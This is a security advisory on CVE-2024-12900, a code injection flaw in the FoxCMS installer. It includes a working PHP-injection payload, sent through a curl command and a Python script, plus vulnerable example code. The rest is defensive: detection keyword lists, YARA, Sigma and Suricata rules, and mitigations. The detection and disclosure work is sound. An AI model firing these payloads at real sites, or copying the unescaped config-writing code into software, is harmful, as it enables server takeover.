CVE-2024-12900

Executive Summary

CVE-2024-12900 is a critical code injection vulnerability in FoxCMS versions up to 1.2. The flaw resides in the /install/installdb.php file, specifically within the configuration file handler. By manipulating the database password argument, an unauthenticated remote attacker can inject arbitrary PHP code, leading to full server compromise. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct web application vulnerability in a PHP-based CMS. However, organizations using FoxCMS should treat this as a critical supply chain risk due to the lack of vendor support and the public availability of exploit details.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and leads to complete system takeover.

Deep Dive & Mechanics

The vulnerability exists in the /install/installdb.php script, which is part of FoxCMS's installation wizard. This script is intended to be used only during initial setup, but it is left accessible after installation in vulnerable versions. The script accepts user-supplied input for the database configuration, including the database password. The input is not properly sanitized or escaped before being written to a configuration file (likely config.php or similar). An attacker can inject PHP code into the password field, which is then written into the configuration file. When the CMS loads this file, the injected code is executed.

Root Cause: Lack of input validation and failure to use proper escaping functions (e.g., addslashes(), prepared statements, or htmlspecialchars()) when writing user input to a PHP configuration file.

Attack Flow:

1. Attacker sends a POST request to /install/installdb.php.
2. The request includes a crafted db_password parameter containing PHP code, e.g., '; system($_GET['cmd']); //.
3. The script writes this value directly into a configuration file.
4. The attacker then accesses any page that includes the configuration file, triggering code execution.
5. The attacker can now execute arbitrary system commands.

Vulnerable vs. Patched Code

Vulnerable Code (FoxCMS <= 1.2):

<?php
// /install/installdb.php (simplified)
$db_password = $_POST['db_password'];
$config_content = "<?php\n\$db_password = '$db_password';\n?>";
file_put_contents('config.php', $config_content);
?>

Patched Code (Hypothetical):

<?php
// /install/installdb.php (patched)
$db_password = addslashes($_POST['db_password']);
$config_content = "<?php\n\$db_password = '" . $db_password . "';\n?>";
file_put_contents('config.php', $config_content);
// Additionally, remove or restrict access to install scripts after setup
?>

Key Difference: The patched version uses addslashes() to escape special characters, preventing code injection. A more robust solution would use var_export() or write configuration as a serialized array.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable FoxCMS instance (<= 1.2) accessible over the network.
• The /install/installdb.php file must be present and accessible.

Exploit Steps:

1. Identify the target and confirm the presence of /install/installdb.php.
2. Craft a malicious POST request with a PHP payload in the db_password parameter.
3. Execute the request.
4. Access any page that includes the configuration file (e.g., the homepage) to trigger the payload.

Example Exploit (cURL):

curl -X POST http://target.com/install/installdb.php \
  -d "db_host=localhost&db_user=root&db_password='; system('id'); //&db_name=test"

Example Exploit (Python):

import requests

target = "http://target.com/install/installdb.php"
payload = "'; system('id'); //"
data = {
    "db_host": "localhost",
    "db_user": "root",
    "db_password": payload,
    "db_name": "test"
}
requests.post(target, data=data)
# Then access the homepage to trigger execution
requests.get("http://target.com/index.php")

Post-Exploitation:

• Establish a reverse shell.
• Escalate privileges.
• Pivot to internal networks.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /install/installdb.php with unusual db_password values.
• Look for PHP code patterns (e.g., system(, exec(, eval() in HTTP parameters.
• Alert on any access to /install/installdb.php after the initial setup period.

Hunting:

• Search web server logs for requests containing db_password with special characters like ', ;, (, ).
• Check for recently modified configuration files (e.g., config.php) that contain suspicious PHP code.
• Use file integrity monitoring to detect unauthorized changes to PHP files.

Containment:

• Immediately block access to /install/ directory via web server configuration (e.g., .htaccess or Nginx location block).
• Remove or rename the /install/ directory.
• Restore any compromised configuration files from backup.
• Scan for backdoors or webshells.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Suspicious entries in config.php or similar configuration files containing PHP code like system(, exec(, eval(, passthru(.
• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified timestamps on /install/installdb.php or configuration files.

Network IOCs:

• POST requests to /install/installdb.php with db_password containing special characters.
• Outbound connections to unknown IP addresses on common ports (80, 443, 4444, etc.).
• Unusual HTTP User-Agent strings.

Log IOCs:

• Web server logs showing POST /install/installdb.php with a db_password parameter containing ', ;, (, ).
• Error logs showing PHP parse errors in configuration files.

Detection Engineering

YARA Rule

rule CVE_2024_12900_FoxCMS_CodeInjection {
    meta:
        description = "Detects FoxCMS code injection via db_password parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-12900"
        severity = "critical"
    strings:
        $s1 = "db_password" nocase
        $s2 = "system(" nocase
        $s3 = "exec(" nocase
        $s4 = "eval(" nocase
        $s5 = "passthru(" nocase
        $s6 = "shell_exec(" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: FoxCMS Code Injection via db_password
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-12900 in FoxCMS
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/install/installdb.php'
        cs-uri-query|contains: 'db_password'
    keywords:
        - 'system('
        - 'exec('
        - 'eval('
        - 'passthru('
        - 'shell_exec('
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in password (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12900 FoxCMS Code Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/install/installdb.php"; http_uri; content:"db_password"; http_client_body; pcre:"/(system|exec|eval|passthru|shell_exec)\s*\(/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove or restrict access to the /install/ directory. Add the following to your web server configuration:
   • Apache: RedirectMatch 403 ^/install/
   • Nginx: location /install/ { deny all; }
2. Delete the /install/ directory entirely if the CMS is already configured.
3. Review and sanitize configuration files (config.php, etc.) for any injected code.

Long-Term Solutions:

• Upgrade to a patched version of FoxCMS if available. If not, consider migrating to a supported CMS.
• Implement a Web Application Firewall (WAF) with rules to block SQL injection and code injection patterns.
• Apply the principle of least privilege to the web server user.
• Regularly audit web applications for similar vulnerabilities.

Vendor Contact:

• No official patch available. Users are advised to implement the mitigations above and consider alternative CMS solutions.

Valters IT